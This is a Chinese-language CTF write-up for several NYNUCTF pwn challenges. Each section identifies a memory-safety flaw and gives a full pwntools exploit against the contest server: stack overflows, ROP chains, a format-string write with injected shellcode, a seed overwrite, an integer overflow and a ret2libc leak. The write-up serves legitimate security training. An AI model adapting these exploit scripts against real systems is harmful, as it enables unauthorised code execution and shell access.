NYNUCTF-PWN-WP

Hello_Pwn

题目描述

连接方式:nc ctf.nynusec.com 端口

WP

image-20220122193425609

hello_pwn2

题目描述

开始吧

WP

IDA

image-20220122193709569

read函数是明显溢出点

image-20220122193812200

只要在输入时填充进足够的垃圾数据,从unk_601068一直覆盖到dword_60106C,再让dword_60106C == 1853186401 成立,就可以执行sub_400686函数

image-20220122194117485

EXP

1
2
3
4
5
6
7
8
9
from pwn import *

# p = process('./hello_pwn2')
p = remote('ctf.nynusec.com', 28385)

payload = b'a' * (0xC - 0x8) + p64(0x6E756161)

p.sendlineafter('bof\n', payload)
p.interactive()

pwnpwn

题目描述

WP

IDA

image-20220122194405641

image-20220122194439337

image-20220122194513313

只要利用read函数溢出到callsystem函数就行

EXP

1
2
3
4
5
6
7
from pwn import *

p = remote('ctf.nynusec.com', 28691)

payload = b'a' * (0x80 + 0x8) + p64(0x400596)
p.sendlineafter('Hello, World\n', payload)
p.interactive()

easyStack

题目描述

简单的栈溢出

WP

IDA

image-20220122195006615

fgets函数可以溢出

image-20220122195049489

运行fun函数,可以拿到shell

EXP

1
2
3
4
5
6
from pwn import *

p = remote('ctf.nynusec.com', 28658)
paylaod = b'a' * (0x10 + 0x8) + p64(0x4006cf)
p.sendlineafter('secret : \n', paylaod)
p.interactive()

rop_test

题目描述

栈溢出ROP

WP

IDA

image-20220122195852369

image-20220122200018741

read函数为明显点,而system函数存在,只要找到bin/sh的地址就行

image-20220122200638219

EXP

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote('ctf.nynusec.com', 28869)
elf = ELF('./rop_test')
binsh_addr = 0x0804a025
sys_addr = elf.sym['system']

payload = b'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0) + p32(binsh_addr)
p.sendlineafter('Input:', payload)
p.interactive()

pwn_string

题目描述

格式化字符串漏洞

WP

IDA

image-20220122203521051

这里会输出两个地址

image-20220122203728926

输入一个name,但不能太长

image-20220122203837166

s1要输入east才能跳出循环

按顺序进行到下面的函数

image-20220122204414347

格式化字符串漏洞就在这里

再继续

image-20220122204716280

这里,我们只要让if条件成立,就可以直接写入shellcode,拿到shell

偏移计算

image-20220122204901910

61616161 –> aaaa

0x80 –> 128

所以偏移量为7

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn  import *

p = remote("ctf.nynusec.com", 28226)

p.recvuntil("secret[0] is ")
addr = int(p.recvuntil("\n")[:-1],16)
print(addr)

p.recvuntil("character's name be:\n")
p.sendline("aaaa")
p.recvuntil(" will go?east or up?:\n")
p.sendline("east")
p.recvuntil("there(1), or leave(0)?:\n")
p.sendline("1")
p.recvuntil("me an address'\n")
p.sendline(str(addr))
p.recvuntil("you wish is:\n")
p.sendline("%85c%7$n")

context(os = 'linux',arch = 'amd64')
shellcode = asm(shellcraft.sh())

p.recvuntil("SPELL\n")
p.sendline(shellcode)
p.interactive()

pwn_guess

题目描述

猜一下数字

WP

IDA

image-20220122205414655

image-20220122205622072

程序大意为猜随机数,只要猜对10轮,就能拿到flag

但是我们输入的v9是能栈内覆盖到随机数种子seed的

image-20220122205734821

那么我们就可以利用随机数的伪随机性,来解题

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from ctypes import *

sh = remote("ctf.nynusec.com", 28856)

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload = b'a' * 0x20 + p64(1)

sh.sendlineafter("Your name:", payload)

libc.srand(1)

for i in range(10):
num = str(libc.rand() % 6 + 1)
sh.sendlineafter("number:", num)

sh.interactive()

pwn_int

题目描述

整数溢出

WP

IDA

image-20220122214737663

输入1,进入login

image-20220122214827815

这里都规定了读入上限,不能溢出

image-20220122214921157

这里的v3看似只能处于3~8之间,但是int类型是可以溢出的,我们就利用这一点

image-20220122220432704

这是后门函数

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = remote("ctf.nynusec.com", 28649)

cat_flag_addr = 0x0804868B

p.sendlineafter("Your choice:", "1")
p.sendlineafter("your username:", "123")

p.recvuntil("your passwd:")
payload = b"a" * 0x14 + b"aaaa" + p32(cat_flag_addr) + b"a" * 234

p.sendline(payload)
p.recv()
p.interactive()

S2-stack

WP

image-20220122220956144

image-20220122221044623

image-20220122221200796

简单的栈溢出

EXP

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote('ctf.nynusec.com', 28239)
#elf = ELF('./stack')
#sys_addr = elf.sym['system']
payload = b'a' * (0x9 + 0x4) + p32(0x0804850f)

p.sendlineafter('32bits\n', payload)
p.interactive()

S2-pwn1-rop

WP

IDA

image-20220122221540374

scanf没有限制读入长度,可溢出

image-20220122221642753

image-20220122221657634

存在systembinsh

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = remote('ctf.nynusec.com', 28050)
elf = ELF('./pwn1-rop')
binsh_addr = 0x601048
sys_addr = elf.sym['system']
ret = 0x400479
rdi_ret = 0x400683

payload = b'a' * (0x10 + 0x8) + p64(ret) + p64(rdi_ret) + p64(binsh_addr) + p64(sys_addr)
# p.recvuntil()
p.sendlineafter('NYNUCTF', payload)
p.interactive()

PWN_libc

题目描述

泄露libc

WP

IDA

image-20211112220130815

image-20211112220305917

这个程序大致是用来加密解密一段字符串的,但是很明显可以看到2.Decrypt是没有用的,那么来看看1.Encrypt的内容:

image-20211112220618452

看到了gets函数,可以用来溢出,除此以外好像没有别的可以利用的东西,那么就想到ret2libc

payload

第一次溢出
  • '\0' #用来绕过if ( v0 >= strlen(s) ),(strlen() 在读取字符串的时候 会 一直读到 \0 处停止;)
  • b'a' * (0x50 + 0x8 - 1) #与前面的'\0'一起,覆盖s的栈并溢出

image-20211112210222414

  • p64(rdi_ret)

image-20211112205757384

  • p64(puts_got)
  • p64(puts_plt) # 利用puts函数的got表和plt表来泄露libc版本
  • p64(main_addr) # 返回主函数再进行下一次溢出
第二次溢出
  • '\0' #用来绕过if ( v0 >= strlen(s) ),(strlen() 在读取字符串的时候 会 一直读到 \0 处停止;)
  • b'a' * (0x50 + 0x8 - 1) #与前面的'\0'一起,覆盖s的栈并溢出
  • p64(ret) # ubuntu18(题目给出的环境)上有栈平衡,用ret来进行栈对齐
  • p64(rdi_ret)
  • p64(binsh) # /bin/sh地址
  • p64(sys_addr) # system函数地址

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

# p = process('./ciscn_2019_c_1')
p = remote('ctf.nynusec.com', 28693)
elf = ELF('./ciscn_2019_c_1')

main_addr = 0x400b28
rdi_ret = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload1 = b'\0' + b'a' * (0x50 + 0x8 - 1) + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter('choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted', payload1)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
# print(p.recvuntil('\n')[:-1].ljust(8, b'\0'))
# puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8, b'\0'))
puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

p.sendlineafter('choice!\n', '1')

payload2 = b'\0' + b'a' * (0x50 + 0x8 - 1) + p64(ret) + p64(rdi_ret) + p64(binsh) + p64(sys_addr)
p.sendlineafter('encrypted\n', payload2)

p.interactive()